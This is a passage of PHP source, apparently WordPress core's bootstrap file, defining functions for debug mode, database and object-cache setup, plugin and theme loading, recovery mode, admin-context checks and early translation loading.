true, $upgrading ) ) { return false; } return true; } /** * Gets the time elapsed so far during this PHP script. * * Uses REQUEST_TIME_FLOAT that appeared in PHP 5.4.0. * * @since 5.8.0 * * @return float Seconds since the PHP script started. */ function timer_float() { return microtime( true ) - $_SERVER['REQUEST_TIME_FLOAT']; } /** * Starts the WordPress micro-timer. * * @since 0.71 * @access private * * @global float $timestart Unix timestamp set at the beginning of the page load. * @see timer_stop() * * @return bool Always returns true. */ function timer_start() { global $timestart; $timestart = microtime( true ); return true; } /** * Retrieves or displays the time from the page start to when function is called. * * @since 0.71 * * @global float $timestart Seconds from when timer_start() is called. * @global float $timeend Seconds from when function is called. * * @param int|bool $display Whether to echo or return the results. Accepts 0|false for return, * 1|true for echo. Default 0|false. * @param int $precision The number of digits from the right of the decimal to display. * Default 3. * @return string The "second.microsecond" finished time calculation. The number is formatted * for human consumption, both localized and rounded. */ function timer_stop( $display = 0, $precision = 3 ) { global $timestart, $timeend; $timeend = microtime( true ); $timetotal = $timeend - $timestart; if ( function_exists( 'number_format_i18n' ) ) { $r = number_format_i18n( $timetotal, $precision ); } else { $r = number_format( $timetotal, $precision ); } if ( $display ) { echo $r; } return $r; } /** * Sets PHP error reporting based on WordPress debug settings. * * Uses three constants: `WP_DEBUG`, `WP_DEBUG_DISPLAY`, and `WP_DEBUG_LOG`. * All three can be defined in wp-config.php. By default, `WP_DEBUG` and * `WP_DEBUG_LOG` are set to false, and `WP_DEBUG_DISPLAY` is set to true. * * When `WP_DEBUG` is true, all PHP notices are reported. WordPress will also * display internal notices: when a deprecated WordPress function, function * argument, or file is used. Deprecated code may be removed from a later * version. * * It is strongly recommended that plugin and theme developers use `WP_DEBUG` * in their development environments. * * `WP_DEBUG_DISPLAY` and `WP_DEBUG_LOG` perform no function unless `WP_DEBUG` * is true. * * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed. * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY` * as false will force errors to be hidden. * * When `WP_DEBUG_LOG` is true, errors will be logged to `wp-content/debug.log`. * When `WP_DEBUG_LOG` is a valid path, errors will be logged to the specified file. * * Errors are never displayed for XML-RPC, REST, `ms-files.php`, and Ajax requests. * * @since 3.0.0 * @since 5.1.0 `WP_DEBUG_LOG` can be a file path. * @access private */ function wp_debug_mode() { /** * Filters whether to allow the debug mode check to occur. * * This filter runs before it can be used by plugins. It is designed for * non-web runtimes. Returning false causes the `WP_DEBUG` and related * constants to not be checked and the default PHP values for errors * will be used unless you take care to update them yourself. * * To use this filter you must define a `$wp_filter` global before * WordPress loads, usually in `wp-config.php`. * * Example: * * $GLOBALS['wp_filter'] = array( * 'enable_wp_debug_mode_checks' => array( * 10 => array( * array( * 'accepted_args' => 0, * 'function' => function() { * return false; * }, * ), * ), * ), * ); * * @since 4.6.0 * * @param bool $enable_debug_mode Whether to enable debug mode checks to occur. Default true. */ if ( ! apply_filters( 'enable_wp_debug_mode_checks', true ) ) { return; } if ( WP_DEBUG ) { error_reporting( E_ALL ); if ( WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 1 ); } elseif ( null !== WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 0 ); } if ( in_array( strtolower( (string) WP_DEBUG_LOG ), array( 'true', '1' ), true ) ) { $log_path = WP_CONTENT_DIR . '/debug.log'; } elseif ( is_string( WP_DEBUG_LOG ) ) { $log_path = WP_DEBUG_LOG; } else { $log_path = false; } if ( $log_path ) { ini_set( 'log_errors', 1 ); ini_set( 'error_log', $log_path ); } } else { error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); } if ( defined( 'XMLRPC_REQUEST' ) || defined( 'REST_REQUEST' ) || defined( 'MS_FILES_REQUEST' ) || ( defined( 'WP_INSTALLING' ) && WP_INSTALLING ) || wp_doing_ajax() || wp_is_json_request() ) { ini_set( 'display_errors', 0 ); } } /** * Sets the location of the language directory. * * To set directory manually, define the `WP_LANG_DIR` constant * in wp-config.php. * * If the language directory exists within `WP_CONTENT_DIR`, it * is used. Otherwise the language directory is assumed to live * in `WPINC`. * * @since 3.0.0 * @access private */ function wp_set_lang_dir() { if ( ! defined( 'WP_LANG_DIR' ) ) { if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) || ! @is_dir( ABSPATH . WPINC . '/languages' ) ) { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to ABSPATH * * @since 2.1.0 */ define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old static relative path maintained for limited backward compatibility - won't work in some cases. define( 'LANGDIR', 'wp-content/languages' ); } } else { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to `ABSPATH`. * * @since 2.1.0 */ define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old relative path maintained for backward compatibility. define( 'LANGDIR', WPINC . '/languages' ); } } } } /** * Loads the database class file and instantiates the `$wpdb` global. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function require_wp_db() { global $wpdb; require_once ABSPATH . WPINC . '/class-wpdb.php'; if ( file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once WP_CONTENT_DIR . '/db.php'; } if ( isset( $wpdb ) ) { return; } $dbuser = defined( 'DB_USER' ) ? DB_USER : ''; $dbpassword = defined( 'DB_PASSWORD' ) ? DB_PASSWORD : ''; $dbname = defined( 'DB_NAME' ) ? DB_NAME : ''; $dbhost = defined( 'DB_HOST' ) ? DB_HOST : ''; $wpdb = new wpdb( $dbuser, $dbpassword, $dbname, $dbhost ); } /** * Sets the database table prefix and the format specifiers for database * table columns. * * Columns not listed here default to `%s`. * * @since 3.0.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * @global string $table_prefix The database table prefix. */ function wp_set_wpdb_vars() { global $wpdb, $table_prefix; if ( ! empty( $wpdb->error ) ) { dead_db(); } $wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d', 'parent' => '%d', 'count' => '%d', 'object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'comment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d', 'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d', 'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d', // Multisite: 'active' => '%d', 'cat_id' => '%d', 'deleted' => '%d', 'lang_id' => '%d', 'mature' => '%d', 'public' => '%d', 'site_id' => '%d', 'spam' => '%d', ); $prefix = $wpdb->set_prefix( $table_prefix ); if ( is_wp_error( $prefix ) ) { wp_load_translations_early(); wp_die( sprintf( /* translators: 1: $table_prefix, 2: wp-config.php */ __( '<strong>Error:</strong> %1$s in %2$s can only contain numbers, letters, and underscores.' ), '<code>$table_prefix</code>', '<code>wp-config.php</code>' ) ); } } /** * Toggles `$_wp_using_ext_object_cache` on and off without directly * touching global. * * @since 3.7.0 * * @global bool $_wp_using_ext_object_cache * * @param bool $using Whether external object cache is being used. * @return bool The current 'using' setting. */ function wp_using_ext_object_cache( $using = null ) { global $_wp_using_ext_object_cache; $current_using = $_wp_using_ext_object_cache; if ( null !== $using ) { $_wp_using_ext_object_cache = $using; } return $current_using; } /** * Starts the WordPress object cache. * * If an object-cache.php file exists in the wp-content directory, * it uses that drop-in as an external object cache. * * @since 3.0.0 * @access private * * @global array $wp_filter Stores all of the filters. */ function wp_start_object_cache() { global $wp_filter; static $first_init = true; // Only perform the following checks once. /** * Filters whether to enable loading of the object-cache.php drop-in. * * This filter runs before it can be used by plugins. It is designed for non-web * runtimes. If false is returned, object-cache.php will never be loaded. * * @since 5.8.0 * * @param bool $enable_object_cache Whether to enable loading object-cache.php (if present). * Default true. */ if ( $first_init && apply_filters( 'enable_loading_object_cache_dropin', true ) ) { if ( ! function_exists( 'wp_cache_init' ) ) { /* * This is the normal situation. First-run of this function. No * caching backend has been loaded. * * We try to load a custom caching backend, and then, if it * results in a wp_cache_init() function existing, we note * that an external object cache is being used. */ if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { require_once WP_CONTENT_DIR . '/object-cache.php'; if ( function_exists( 'wp_cache_init' ) ) { wp_using_ext_object_cache( true ); } // Re-initialize any hooks added manually by object-cache.php. if ( $wp_filter ) { $wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter ); } } } elseif ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { /* * Sometimes advanced-cache.php can load object-cache.php before * this function is run. This breaks the function_exists() check * above and can result in wp_using_ext_object_cache() returning * false when actually an external cache is in use. */ wp_using_ext_object_cache( true ); } } if ( ! wp_using_ext_object_cache() ) { require_once ABSPATH . WPINC . '/cache.php'; } require_once ABSPATH . WPINC . '/cache-compat.php'; /* * If cache supports reset, reset instead of init if already * initialized. Reset signals to the cache that global IDs * have changed and it may need to update keys and cleanup caches. */ if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( get_current_blog_id() ); } elseif ( function_exists( 'wp_cache_init' ) ) { wp_cache_init(); } if ( function_exists( 'wp_cache_add_global_groups' ) ) { wp_cache_add_global_groups( array( 'blog-details', 'blog-id-cache', 'blog-lookup', 'blog_meta', 'global-posts', 'networks', 'network-queries', 'sites', 'site-details', 'site-options', 'site-queries', 'site-transient', 'rss', 'users', 'user-queries', 'user_meta', 'useremail', 'userlogins', 'userslugs', ) ); wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) ); } $first_init = false; } /** * Redirects to the installer if WordPress is not installed. * * Dies with an error message when Multisite is enabled. * * @since 3.0.0 * @access private */ function wp_not_installed() { if ( is_blog_installed() || wp_installing() ) { return; } nocache_headers(); if ( is_multisite() ) { wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) ); } require ABSPATH . WPINC . '/kses.php'; require ABSPATH . WPINC . '/pluggable.php'; $link = wp_guess_url() . '/wp-admin/install.php'; wp_redirect( $link ); die(); } /** * Retrieves an array of must-use plugin files. * * The default directory is wp-content/mu-plugins. To change the default * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL` * in wp-config.php. * * @since 3.0.0 * @access private * * @return string[] Array of absolute paths of files to include. */ function wp_get_mu_plugins() { $mu_plugins = array(); if ( ! is_dir( WPMU_PLUGIN_DIR ) ) { return $mu_plugins; } $dh = opendir( WPMU_PLUGIN_DIR ); if ( ! $dh ) { return $mu_plugins; } while ( ( $plugin = readdir( $dh ) ) !== false ) { if ( str_ends_with( $plugin, '.php' ) ) { $mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin; } } closedir( $dh ); sort( $mu_plugins ); return $mu_plugins; } /** * Retrieves an array of active and valid plugin files. * * While upgrading or installing WordPress, no plugins are returned. * * The default directory is `wp-content/plugins`. To change the default * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` * in `wp-config.php`. * * @since 3.0.0 * @access private * * @return string[] Array of paths to plugin files relative to the plugins directory. */ function wp_get_active_and_valid_plugins() { $plugins = array(); $active_plugins = (array) get_option( 'active_plugins', array() ); // Check for hacks file if the option is enabled. if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) { _deprecated_file( 'my-hacks.php', '1.5.0' ); array_unshift( $plugins, ABSPATH . 'my-hacks.php' ); } if ( empty( $active_plugins ) || wp_installing() ) { return $plugins; } $network_plugins = is_multisite() ? wp_get_active_network_plugins() : false; foreach ( $active_plugins as $plugin ) { if ( ! validate_file( $plugin ) // $plugin must validate as file. && str_ends_with( $plugin, '.php' ) // $plugin must end with '.php'. && file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist. // Not already included as a network plugin. && ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins, true ) ) ) { $plugins[] = WP_PLUGIN_DIR . '/' . $plugin; } } /* * Remove plugins from the list of active plugins when we're on an endpoint * that should be protected against WSODs and the plugin is paused. */ if ( wp_is_recovery_mode() ) { $plugins = wp_skip_paused_plugins( $plugins ); } return $plugins; } /** * Filters a given list of plugins, removing any paused plugins from it. * * @since 5.2.0 * * @param string[] $plugins Array of absolute plugin main file paths. * @return string[] Filtered array of plugins, without any paused plugins. */ function wp_skip_paused_plugins( array $plugins ) { $paused_plugins = wp_paused_plugins()->get_all(); if ( empty( $paused_plugins ) ) { return $plugins; } foreach ( $plugins as $index => $plugin ) { list( $plugin ) = explode( '/', plugin_basename( $plugin ) ); if ( array_key_exists( $plugin, $paused_plugins ) ) { unset( $plugins[ $index ] ); // Store list of paused plugins for displaying an admin notice. $GLOBALS['_paused_plugins'][ $plugin ] = $paused_plugins[ $plugin ]; } } return $plugins; } /** * Retrieves an array of active and valid themes. * * While upgrading or installing WordPress, no themes are returned. * * @since 5.1.0 * @access private * * @global string $pagenow The filename of the current screen. * * @return string[] Array of absolute paths to theme directories. */ function wp_get_active_and_valid_themes() { global $pagenow; $themes = array(); if ( wp_installing() && 'wp-activate.php' !== $pagenow ) { return $themes; } if ( TEMPLATEPATH !== STYLESHEETPATH ) { $themes[] = STYLESHEETPATH; } $themes[] = TEMPLATEPATH; /* * Remove themes from the list of active themes when we're on an endpoint * that should be protected against WSODs and the theme is paused. */ if ( wp_is_recovery_mode() ) { $themes = wp_skip_paused_themes( $themes ); // If no active and valid themes exist, skip loading themes. if ( empty( $themes ) ) { add_filter( 'wp_using_themes', '__return_false' ); } } return $themes; } /** * Filters a given list of themes, removing any paused themes from it. * * @since 5.2.0 * * @param string[] $themes Array of absolute theme directory paths. * @return string[] Filtered array of absolute paths to themes, without any paused themes. */ function wp_skip_paused_themes( array $themes ) { $paused_themes = wp_paused_themes()->get_all(); if ( empty( $paused_themes ) ) { return $themes; } foreach ( $themes as $index => $theme ) { $theme = basename( $theme ); if ( array_key_exists( $theme, $paused_themes ) ) { unset( $themes[ $index ] ); // Store list of paused themes for displaying an admin notice. $GLOBALS['_paused_themes'][ $theme ] = $paused_themes[ $theme ]; } } return $themes; } /** * Determines whether WordPress is in Recovery Mode. * * In this mode, plugins or themes that cause WSODs will be paused. * * @since 5.2.0 * * @return bool */ function wp_is_recovery_mode() { return wp_recovery_mode()->is_active(); } /** * Determines whether we are currently on an endpoint that should be protected against WSODs. * * @since 5.2.0 * * @global string $pagenow The filename of the current screen. * * @return bool True if the current endpoint should be protected. */ function is_protected_endpoint() { // Protect login pages. if ( isset( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] ) { return true; } // Protect the admin backend. if ( is_admin() && ! wp_doing_ajax() ) { return true; } // Protect Ajax actions that could help resolve a fatal error should be available. if ( is_protected_ajax_action() ) { return true; } /** * Filters whether the current request is against a protected endpoint. * * This filter is only fired when an endpoint is requested which is not already protected by * WordPress core. As such, it exclusively allows providing further protected endpoints in * addition to the admin backend, login pages and protected Ajax actions. * * @since 5.2.0 * * @param bool $is_protected_endpoint Whether the currently requested endpoint is protected. * Default false. */ return (bool) apply_filters( 'is_protected_endpoint', false ); } /** * Determines whether we are currently handling an Ajax action that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current Ajax action should be protected. */ function is_protected_ajax_action() { if ( ! wp_doing_ajax() ) { return false; } if ( ! isset( $_REQUEST['action'] ) ) { return false; } $actions_to_protect = array( 'edit-theme-plugin-file', // Saving changes in the core code editor. 'heartbeat', // Keep the heart beating. 'install-plugin', // Installing a new plugin. 'install-theme', // Installing a new theme. 'search-plugins', // Searching in the list of plugins. 'search-install-plugins', // Searching for a plugin in the plugin install screen. 'update-plugin', // Update an existing plugin. 'update-theme', // Update an existing theme. ); /** * Filters the array of protected Ajax actions. * * This filter is only fired when doing Ajax and the Ajax request has an 'action' property. * * @since 5.2.0 * * @param string[] $actions_to_protect Array of strings with Ajax actions to protect. */ $actions_to_protect = (array) apply_filters( 'wp_protected_ajax_actions', $actions_to_protect ); if ( ! in_array( $_REQUEST['action'], $actions_to_protect, true ) ) { return false; } return true; } /** * Sets internal encoding. * * In most cases the default internal encoding is latin1, which is * of no use, since we want to use the `mb_` functions for `utf-8` strings. * * @since 3.0.0 * @access private */ function wp_set_internal_encoding() { if ( function_exists( 'mb_internal_encoding' ) ) { $charset = get_option( 'blog_charset' ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged if ( ! $charset || ! @mb_internal_encoding( $charset ) ) { mb_internal_encoding( 'UTF-8' ); } } } /** * Adds magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`. * * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`, * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly. * * @since 3.0.0 * @access private */ function wp_magic_quotes() { // Escape with wpdb. $_GET = add_magic_quotes( $_GET ); $_POST = add_magic_quotes( $_POST ); $_COOKIE = add_magic_quotes( $_COOKIE ); $_SERVER = add_magic_quotes( $_SERVER ); // Force REQUEST to be GET + POST. $_REQUEST = array_merge( $_GET, $_POST ); } /** * Runs just before PHP shuts down execution. * * @since 1.2.0 * @access private */ function shutdown_action_hook() { /** * Fires just before PHP shuts down execution. * * @since 1.2.0 */ do_action( 'shutdown' ); wp_cache_close(); } /** * Clones an object. * * @since 2.7.0 * @deprecated 3.2.0 * * @param object $input_object The object to clone. * @return object The cloned object. */ function wp_clone( $input_object ) { // Use parens for clone to accommodate PHP 4. See #17880. return clone( $input_object ); } /** * Determines whether the current request is for the login screen. * * @since 6.1.0 * * @see wp_login_url() * * @return bool True if inside WordPress login screen, false otherwise. */ function is_login() { return false !== stripos( wp_login_url(), $_SERVER['SCRIPT_NAME'] ); } /** * Determines whether the current request is for an administrative interface page. * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.1 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress administration interface, false otherwise. */ function is_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin(); } elseif ( defined( 'WP_ADMIN' ) ) { return WP_ADMIN; } return false; } /** * Determines whether the current request is for a site's administrative interface. * * e.g. `/wp-admin/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress site administration pages. */ function is_blog_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'site' ); } elseif ( defined( 'WP_BLOG_ADMIN' ) ) { return WP_BLOG_ADMIN; } return false; } /** * Determines whether the current request is for the network administrative interface. * * e.g. `/wp-admin/network/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * Does not check if the site is a Multisite network; use is_multisite() * for checking if Multisite is enabled. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress network administration pages. */ function is_network_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'network' ); } elseif ( defined( 'WP_NETWORK_ADMIN' ) ) { return WP_NETWORK_ADMIN; } return false; } /** * Determines whether the current request is for a user admin screen. * * e.g. `/wp-admin/user/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress user administration pages. */ function is_user_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'user' ); } elseif ( defined( 'WP_USER_ADMIN' ) ) { return WP_USER_ADMIN; } return false; } /** * Determines whether Multisite is enabled. * * @since 3.0.0 * * @return bool True if Multisite is enabled, false otherwise. */ function is_multisite() { if ( defined( 'MULTISITE' ) ) { return MULTISITE; } if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) ) { return true; } return false; } /** * Retrieves the current site ID. * * @since 3.1.0 * * @global int $blog_id * * @return int Site ID. */ function get_current_blog_id() { global $blog_id; return absint( $blog_id ); } /** * Retrieves the current network ID. * * @since 4.6.0 * * @return int The ID of the current network. */ function get_current_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( ! isset( $current_network->id ) ) { return get_main_network_id(); } return absint( $current_network->id ); } /** * Attempts an early load of translations. * * Used for errors encountered during the initial loading process, before * the locale has been properly detected and loaded. * * Designed for unusual load sequences (like setup-config.php) or for when * the script will then terminate with an error, otherwise there is a risk * that a file can be double-included. * * @since 3.4.0 * @access private * * @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry. * @global WP_Locale $wp_locale WordPress date and time locale object. */ function wp_load_translations_early() { global $wp_textdomain_registry, $wp_locale; static $loaded = false; if ( $loaded ) { return; } $loaded = true; if ( function_exists( 'did_action' ) && did_action( 'init' ) ) { return; } // We need $wp_local_package. require ABSPATH . WPINC . '/version.php'; // Translation and localization. require_once ABSPATH . WPINC . '/pomo/mo.php'; require_once ABSPATH . WPINC . '/l10n.php'; require_once ABSPATH . WPINC . '/class-wp-textdomain-registry.php'; require_once ABSPATH . WPINC . '/class-wp-locale.php'; require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php'; // General libraries. require_once ABSPATH . WPINC . '/plugin.php'; $locales = array(); $locations = array(); if ( ! $wp_textdomain_registry instanceof WP_Textdomain_Registry ) { $wp_textdomain_registry = new WP_Textdomain_Registry(); } while ( true ) { if ( defined( 'WPLANG' ) ) { if ( '' === WPLANG ) { break; } $locales[] = WPLANG; } if ( isset( $wp_local_package ) ) { $locales[] = $wp_local_package; } if ( ! $locales ) { break; } if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) ) { $locations[] = WP_LANG_DIR; } if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) ) { $locations[] = WP_CONTENT_DIR . '/languages'; } if ( @is_dir( ABSPATH . 'wp-content/languages' ) ) { $locations[] = ABSPATH . 'wp-content/languages'; } if ( @is_dir( ABSPATH . WPINC . '/languages' ) ) { $locations[] = ABSPATH . WPINC . '/languages'; } if ( ! $locations ) { break; } $locations = array_unique( $locations ); foreach ( $locales as $locale ) { foreach ( $locations as $location ) { if ( file_exists( $location . '/' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/' . $locale . '.mo', $locale ); if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/admin-' . $locale . '.mo', $locale ); } break 2; } } } break; } $wp_locale = new WP_Locale(); } /** * Checks or sets whether WordPress is in "installation" mode. * * If the `WP_INSTALLING` constant is defined during the bootstrap, `wp_installing()` will default to `true`. * * @since 4.4.0 * * @param bool $is_installing Optional. True to set WP into Installing mode, false to turn Installing mode off. * Omit this parameter if you only want to fetch the current status. * @return bool True if WP is installing, otherwise false. When a `$is_installing` is passed, the function will * report whether WP was in installing mode prior to the change to `$is_installing`. */ function wp_installing( $is_installing = null ) { static $installing = null; // Support for the `WP_INSTALLING` constant, defined before WP is loaded. if ( is_null( $installing ) ) { $installing = defined( 'WP_INSTALLING' ) && WP_INSTALLING; } if ( ! is_null( $is_installing ) ) { $old_installing = $installing; $installing = $is_installing; return (bool) $old_installing; } return (bool) $installing; } /** * Determines if SSL is used. * * @since 2.6.0 * @since 4.6.0 Moved from functions.php to load.php. * * @return bool True if SSL, otherwise false. */ function is_ssl() { if ( isset( $_SERVER['HTTPS'] ) ) { if ( 'on' === strtolower( $_SERVER['HTTPS'] ) ) { return true; } if ( '1' === (string) $_SERVER['HTTPS'] ) { return true; } } elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' === (string) $_SERVER['SERVER_PORT'] ) ) { return true; } return false; } /** * Converts a shorthand byte value to an integer byte value. * * @since 2.3.0 * @since 4.6.0 Moved from media.php to load.php. * * @link https://www.php.net/manual/en/function.ini-get.php * @link https://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes * * @param string $value A (PHP ini) byte value, either shorthand or ordinary. * @return int An integer byte value. */ function wp_convert_hr_to_bytes( $value ) { $value = strtolower( trim( $value ) ); $bytes = (int) $value; if ( str_contains( $value, 'g' ) ) { $bytes *= GB_IN_BYTES; } elseif ( str_contains( $value, 'm' ) ) { $bytes *= MB_IN_BYTES; } elseif ( str_contains( $value, 'k' ) ) { $bytes *= KB_IN_BYTES; } // Deal with large (float) values which run into the maximum integer size. return min( $bytes, PHP_INT_MAX ); } /** * Determines whether a PHP ini value is changeable at runtime. * * @since 4.6.0 * * @link https://www.php.net/manual/en/function.ini-get-all.php * * @param string $setting The name of the ini setting to check. * @return bool True if the value is changeable at runtime. False otherwise. */ function wp_is_ini_value_changeable( $setting ) { static $ini_all; if ( ! isset( $ini_all ) ) { $ini_all = false; // Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes". if ( function_exists( 'ini_get_all' ) ) { $ini_all = ini_get_all(); } } // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17. if ( isset( $ini_all[ $setting ]['access'] ) && ( INI_ALL === ( $ini_all[ $setting ]['access'] & 7 ) || INI_USER === ( $ini_all[ $setting ]['access'] & 7 ) ) ) { return true; } // If we were unable to retrieve the details, fail gracefully to assume it's changeable. if ( ! is_array( $ini_all ) ) { return true; } return false; } /** * Determines whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @return bool True if it's a WordPress Ajax request, false otherwise. */ function wp_doing_ajax() { /** * Filters whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request. */ return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX ); } /** * Determines whether the current request should use themes. * * @since 5.1.0 * * @return bool True if themes should be used, false otherwise. */ function wp_using_themes() { /** * Filters whether the current request should use themes. * * @since 5.1.0 * * @param bool $wp_using_themes Whether the current request should use themes. */ return apply_filters( 'wp_using_themes', defined( 'WP_USE_THEMES' ) && WP_USE_THEMES ); } /** * Determines whether the current request is a WordPress cron request. * * @since 4.8.0 * * @return bool True if it's a WordPress cron request, false otherwise. */ function wp_doing_cron() { /** * Filters whether the current request is a WordPress cron request. * * @since 4.8.0 * * @param bool $wp_doing_cron Whether the current request is a WordPress cron request. */ return apply_filters( 'wp_doing_cron', defined( 'DOING_CRON' ) && DOING_CRON ); } /** * Checks whether the given variable is a WordPress Error. * * Returns whether `$thing` is an instance of the `WP_Error` class. * * @since 2.1.0 * * @param mixed $thing The variable to check. * @return bool Whether the variable is an instance of WP_Error. */ function is_wp_error( $thing ) { $is_wp_error = ( $thing instanceof WP_Error ); if ( $is_wp_error ) { /** * Fires when `is_wp_error()` is called and its parameter is an instance of `WP_Error`. * * @since 5.6.0 * * @param WP_Error $thing The error object passed to `is_wp_error()`. */ do_action( 'is_wp_error_instance', $thing ); } return $is_wp_error; } /** * Determines whether file modifications are allowed. * * @since 4.8.0 * * @param string $context The usage context. * @return bool True if file modification is allowed, false otherwise. */ function wp_is_file_mod_allowed( $context ) { /** * Filters whether file modifications are allowed. * * @since 4.8.0 * * @param bool $file_mod_allowed Whether file modifications are allowed. * @param string $context The usage context. */ return apply_filters( 'file_mod_allowed', ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS, $context ); } /** * Starts scraping edited file errors. * * @since 4.9.0 */ function wp_start_scraping_edited_file_errors() { if ( ! isset( $_REQUEST['wp_scrape_key'] ) || ! isset( $_REQUEST['wp_scrape_nonce'] ) ) { return; } $key = substr( sanitize_key( wp_unslash( $_REQUEST['wp_scrape_key'] ) ), 0, 32 ); $nonce = wp_unslash( $_REQUEST['wp_scrape_nonce'] ); if ( get_transient( 'scrape_key_' . $key ) !== $nonce ) { echo "###### wp_scraping_result_start:$key ######"; echo wp_json_encode( array( 'code' => 'scrape_nonce_failure', 'message' => __( 'Scrape key check failed. Please try again.' ), ) ); echo "###### wp_scraping_result_end:$key ######"; die(); } if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) { define( 'WP_SANDBOX_SCRAPING', true ); } register_shutdown_function( 'wp_finalize_scraping_edited_file_errors', $key ); } /** * Finalizes scraping for edited file errors. * * @since 4.9.0 * * @param string $scrape_key Scrape key. */ function wp_finalize_scraping_edited_file_errors( $scrape_key ) { $error = error_get_last(); echo "\n###### wp_scraping_result_start:$scrape_key ######\n"; if ( ! empty( $error ) && in_array( $error['type'], array( E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR ), true ) ) { $error = str_replace( ABSPATH, '', $error ); echo wp_json_encode( $error ); } else { echo wp_json_encode( true ); } echo "\n###### wp_scraping_result_end:$scrape_key ######\n"; } /** * Checks whether current request is a JSON request, or is expecting a JSON response. * * @since 5.0.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `application/json`. * False otherwise. */ function wp_is_json_request() { if ( isset( $_SERVER['HTTP_ACCEPT'] ) && wp_is_json_media_type( $_SERVER['HTTP_ACCEPT'] ) ) { 